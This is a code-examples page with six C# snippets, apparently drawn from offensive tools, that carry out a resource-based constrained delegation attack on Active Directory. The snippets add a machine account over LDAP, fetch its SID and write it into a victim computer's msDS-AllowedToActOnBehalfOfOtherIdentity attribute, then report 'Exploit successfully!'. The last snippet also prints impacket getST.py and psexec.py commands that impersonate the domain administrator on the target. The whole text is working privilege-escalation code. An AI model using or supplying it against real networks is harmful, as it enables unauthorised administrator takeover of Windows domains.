Exemple #1
0
        public static String GetGPOGUID(String DomainController, String GPOName, String distinguished_name)
        {
            // Translate GPO Name to GUID
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var new_request  = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(displayName=" + GPOName + ")", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            var GPOGuid      = "";

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    GPOGuid = entry.Attributes["cn"][0].ToString();
                }
                catch
                {
                    Console.WriteLine("[!] Could not retrieve the GPO GUID. The GPO Name was invalid. \n[-] Exiting...");
                    System.Environment.Exit(0);
                }
            }
            if (String.IsNullOrEmpty(GPOGuid))
            {
                Console.WriteLine("[!] Could not retrieve the GPO GUID. The GPO Name was invalid. \n[-] Exiting...");
                System.Environment.Exit(0);
            }
            Console.WriteLine("[+] GUID of \"" + GPOName + "\" is: " + GPOGuid);
            return(GPOGuid);
        }
Exemple #2
0
        static void Main(string[] args)
        {
            if (args == null)
            {
                PrintHelp();
                return;
            }

            String DomainController   = "";
            String Domain             = "";
            String MachineAccount     = "";
            String DistinguishedName  = "";
            String password_cleartext = "";
            String victimcomputer     = "";

            var Options = new Options();


            if (CommandLineParser.Default.ParseArguments(args, Options))
            {
                if ((!string.IsNullOrEmpty(Options.ComputerPassword) && !string.IsNullOrEmpty(Options.TargetComputer) && !string.IsNullOrEmpty(Options.ComputerAccountName)) || (!string.IsNullOrEmpty(Options.Cleanup) && !string.IsNullOrEmpty(Options.TargetComputer)))
                {
                    if (!string.IsNullOrEmpty(Options.DomainController))
                    {
                        DomainController = Options.DomainController;
                    }
                    if (!string.IsNullOrEmpty(Options.Domain))
                    {
                        Domain = Options.Domain;
                    }
                    if (!string.IsNullOrEmpty(Options.ComputerAccountName))
                    {
                        MachineAccount = Options.ComputerAccountName;
                    }
                    if (!string.IsNullOrEmpty(Options.ComputerPassword))
                    {
                        password_cleartext = Options.ComputerPassword;
                    }
                    if (!string.IsNullOrEmpty(Options.TargetComputer))
                    {
                        victimcomputer = Options.TargetComputer;
                    }
                }
                else
                {
                    Console.Write("[!] Missing required arguments! Exiting...\n");
                    //PrintHelp();
                    return;
                }
            }
            else
            {
                Console.Write("[!] Missing required arguments! Exiting...\n");
                PrintHelp();
                return;
            }

            String cleanup = Options.Cleanup;

            // If a domain controller and domain were not provide try to find them automatically
            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;
            if (DomainController == String.Empty || Domain == String.Empty)
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }

            if (DomainController == String.Empty)
            {
                DomainController = current_domain.PdcRoleOwner.Name;
            }

            if (Domain == String.Empty)
            {
                Domain = current_domain.Name;
            }

            Domain = Domain.ToLower();

            String machine_account = MachineAccount;
            String sam_account     = "";

            if (MachineAccount.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }


            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }
            victim_distinguished_name = victim_distinguished_name.TrimStart(',');


            //this check is lame but cannot make the switch work with CommandLine :)
            if (cleanup == "true")
            {
                SetSecurityDescriptor(Domain, victim_distinguished_name, victimcomputer, null, true);
                return;
            }

            if (cleanup != null)
            {
                Console.WriteLine("Cleanup must be set to \"true\"\n. Exiting...");
                return;
            }

            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            Console.WriteLine("[+] Distinguished Name = " + distinguished_name);

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);

            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();

            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + password_cleartext + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try
            {
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account " + machine_account + " added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }

            // Get SID of the new computer object
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] SID of New Computer: " + sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }

            SetSecurityDescriptor(Domain, victim_distinguished_name, victimcomputer, sid.Value, false);
        }
Exemple #3
0
        static void Main(string[] args)
        {
            String DomainController   = "";
            String Domain             = "";
            String MachineAccount     = "testNew";
            String DistinguishedName  = "";
            String password_cleartext = "123456789";

            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;
            if (DomainController == String.Empty || Domain == String.Empty)
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }

            if (DomainController == String.Empty)
            {
                DomainController = current_domain.PdcRoleOwner.Name;
            }

            if (Domain == String.Empty)
            {
                Domain = current_domain.Name;
            }

            Domain = Domain.ToLower();

            String machine_account = MachineAccount;
            String sam_account     = "";

            if (MachineAccount.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }


            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array           = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }

            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            Console.WriteLine("[+] Distinguished Name = " + distinguished_name);

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);

            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();

            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + password_cleartext + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try
            {
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account " + machine_account + " added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
        }
        static void Main(string[] args)
        {
            String DomainController = "192.168.127.129";
            String Domain           = "gh0st.com";
            //String username = args[0]; //域用户名
            //String password = args[1]; //域用户密码
            String new_MachineAccount          = "evilpc"; //添加的机器账户
            String new_MachineAccount_password = "******"; //机器账户密码
            String victimcomputer_ldap_path    = "LDAP://CN=Computers,DC=gh0st,DC=com";
            String machine_account             = new_MachineAccount;
            String sam_account = machine_account + "$";

            String distinguished_name = "";

            String[] DC_array = null;
            distinguished_name = "CN=" + machine_account + ",CN=Computers";
            DC_array           = Domain.Split('.');
            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }
            Console.WriteLine("[+] Elevate permissions on ");
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            try {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
            } catch (System.Exception ex) {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                } catch {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try {
                result = search.FindOne();
            } catch (System.Exception ex) {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                } catch (System.Exception ex) {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
Exemple #5
0
        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 2)
                {
                    Usage();
                    return;
                }
                Dictionary <string, string> arguments = new Dictionary <string, string>();
                foreach (string a in args)
                {
                    int i = a.IndexOf(":");
                    if (i > 0)
                    {
                        arguments[a.Substring(1, i - 1)] = a.Substring(i + 1);
                    }
                }
                if ((!(arguments.ContainsKey("computer")) && !(arguments.ContainsKey("pass")) && !(arguments.ContainsKey("fakecomp"))) || (!(arguments.ContainsKey("cleanup")) && !(arguments.ContainsKey("fakecomp"))))
                {
                    Usage();
                    return;
                }
                string orEmpty(string key) => arguments.ContainsKey(key) ? arguments[key] : "";

                String TargetDC      = orEmpty("dc");
                String Domain        = orEmpty("domain");
                String OwnedComp     = orEmpty("computer");
                String PasswordClear = orEmpty("pass");
                String Fake          = orEmpty("fakecomp");
                String Cleanup       = arguments.ContainsKey("cleanup") ? arguments["cleanup"] : "false";


                // If a domain controller and domain were not provide try to find them automatically
                System.DirectoryServices.ActiveDirectory.Domain current_domain = null;
                if (TargetDC == String.Empty || Domain == String.Empty)
                {
                    try
                    {
                        current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                        if (TargetDC == String.Empty)
                        {
                            TargetDC = current_domain.PdcRoleOwner.Name;
                        }

                        if (Domain == String.Empty)
                        {
                            Domain = current_domain.Name;
                        }
                    }
                    catch
                    {
                        Console.WriteLine("[!] Cannot enumerate domain, please specify with /domain and /dc flags.");
                        return;
                    }
                }

                Domain = Domain.ToLower();

                String machine_account = Fake;
                String sam_account     = "";
                if (Fake.EndsWith("$"))
                {
                    sam_account     = machine_account;
                    machine_account = machine_account.Substring(0, machine_account.Length - 1);
                }
                else
                {
                    sam_account = machine_account + "$";
                }


                String   distinguished_name        = "";
                String   victim_distinguished_name = "";
                String[] DC_array = null;

                distinguished_name        = "CN=" + machine_account + ",CN=Computers";
                victim_distinguished_name = "CN=" + OwnedComp + ",CN=Computers";
                DC_array = Domain.Split('.');

                foreach (String DC in DC_array)
                {
                    distinguished_name        += ",DC=" + DC;
                    victim_distinguished_name += ",DC=" + DC;
                }

                if (Cleanup != "false")
                {
                    SetSecurityDescriptor(Domain, victim_distinguished_name, OwnedComp, null, true);
                    return;
                }

                Console.WriteLine("[+] Domain = " + Domain);
                Console.WriteLine("[+] Domain Controller = " + TargetDC);
                Console.WriteLine("[+] New SAMAccountName = " + sam_account);
                Console.WriteLine("[+] Distinguished Name = " + distinguished_name);

                System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(TargetDC, 389);
                System.DirectoryServices.Protocols.LdapConnection          connection = null;

                connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);

                connection.SessionOptions.Sealing = true;
                connection.SessionOptions.Signing = true;
                connection.Bind();

                var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                    new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                    new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                    new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                    new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + PasswordClear + "\"")),
                    new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                    new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
                });

                try
                {
                    connection.SendRequest(request);
                    Console.WriteLine("[+] Machine account " + machine_account + " added");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-MachineAccountQuota limit.)");
                    Console.WriteLine("[-] Exception: " + ex.Message);
                    return;
                }

                // Get SID of the new computer object
                var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
                var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
                SecurityIdentifier sid = null;

                foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
                {
                    try
                    {
                        sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                        Console.Out.WriteLine("[+] SID of New Computer: " + sid.Value);
                    }
                    catch
                    {
                        Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                        return;
                    }
                }

                SetSecurityDescriptor(Domain, victim_distinguished_name, OwnedComp, sid.Value, false);
            }

            catch (Exception e)
            {
                Console.WriteLine("{0}", e.Message);
            }
        }
Exemple #6
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Usage();
                return;
            }
            var arguments = new Dictionary <string, string>();

            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                {
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
                }
            }

            if (!arguments.ContainsKey("domain") || !arguments.ContainsKey("dc") || !arguments.ContainsKey("tm"))
            {
                Usage();
                return;
            }
            String DomainController            = arguments["dc"];
            String Domain                      = arguments["domain"];
            String new_MachineAccount          = "";
            String new_MachineAccount_password = "";

            //添加的机器账户
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount = arguments["ma"];
            }
            else
            {
                new_MachineAccount = RandomString(8);
            }
            //机器账户密码
            if (arguments.ContainsKey("ma"))
            {
                new_MachineAccount_password = arguments["mp"];
            }
            else
            {
                new_MachineAccount_password = RandomString(10);
            }

            String victimcomputer    = arguments["tm"];; //需要进行提权的机器
            String machine_account   = new_MachineAccount;
            String sam_account       = "";
            String DistinguishedName = "";

            if (machine_account.EndsWith("$"))
            {
                sam_account     = machine_account;
                machine_account = machine_account.Substring(0, machine_account.Length - 1);
            }
            else
            {
                sam_account = machine_account + "$";
            }
            String distinguished_name        = DistinguishedName;
            String victim_distinguished_name = DistinguishedName;

            String[] DC_array = null;

            distinguished_name        = "CN=" + machine_account + ",CN=Computers";
            victim_distinguished_name = "CN=" + victimcomputer + ",CN=Computers";
            DC_array = Domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name        += ",DC=" + DC;
                victim_distinguished_name += ",DC=" + DC;
            }

            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);
            Console.WriteLine("[+] Domain = " + Domain);
            Console.WriteLine("[+] Domain Controller = " + DomainController);
            Console.WriteLine("[+] New SAMAccountName = " + sam_account);
            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);
            //连接ldap
            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);
            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录
            System.DirectoryServices.Protocols.LdapConnection connection = null;
            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);
            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;
            connection.Bind();
            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {
                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account + "." + Domain),
                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),
                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),
                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),
                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/" + machine_account + "." + Domain, "RestrictedKrbHost/" + machine_account + "." + Domain, "HOST/" + machine_account, "RestrictedKrbHost/" + machine_account)
            });

            //通过ldap找计算机
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry(Domain);
            myldapConnection.Path = "LDAP://" + victim_distinguished_name;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            search.Filter = "(CN=" + victimcomputer + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
            {
                search.PropertiesToLoad.Add(property);
            }
            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "[-] Exiting...");
                return;
            }
            try
            {
                //添加机器账户
                connection.SendRequest(request);
                Console.WriteLine("[+] Machine account: " + machine_account + " Password: "******" added");
            }
            catch (System.Exception ex)
            {
                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");
                Console.WriteLine("[-] Exception: " + ex.Message);
                return;
            }
            // 获取新计算机对象的SID
            var new_request        = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            var new_response       = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);
            SecurityIdentifier sid = null;

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)
            {
                try
                {
                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);
                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }

            //设置资源约束委派
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor    = @"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] buffer            = new byte[sd.BinaryLength];
                sd.GetBinaryForm(buffer, 0);
                //测试sddl转换结果
                //RawSecurityDescriptor test_back = new RawSecurityDescriptor (buffer, 0);
                //Console.WriteLine(test_back.GetSddlForm(AccessControlSections.All));


                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                try
                {
                    //entryToUpdate.Properties["msDS-AllowedToActOnBehalfOfOtherIdentity"].Value = buffer;
                    entryToUpdate.InvokeSet("msDS-AllowedToActOnBehalfOfOtherIdentity", buffer);
                    entryToUpdate.CommitChanges();//提交更改
                    entryToUpdate.Close();
                    Console.WriteLine("[+] Exploit successfully!");

                    //打印利用方式
                    Console.WriteLine("[+] Use impacket to get priv!\n\n[+] Command:\n");
                    Console.WriteLine("\ngetST.py -dc-ip {0} {1}/{2}$:{3} -spn cifs/{4}.{5} -impersonate administrator", DomainController, Domain, machine_account, new_MachineAccount_password, victimcomputer, Domain);
                    Console.WriteLine("\nexport KRB5CCNAME=administrator.ccache");
                    Console.WriteLine("\npsexec.py {0}/administrator@{1}.{2} -k -no-pass", Domain, victimcomputer, Domain);
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine("[!] Error: " + ex.Message + " " + ex.InnerException);
                    Console.WriteLine("[!] Failed...");
                    return;
                }
            }
        }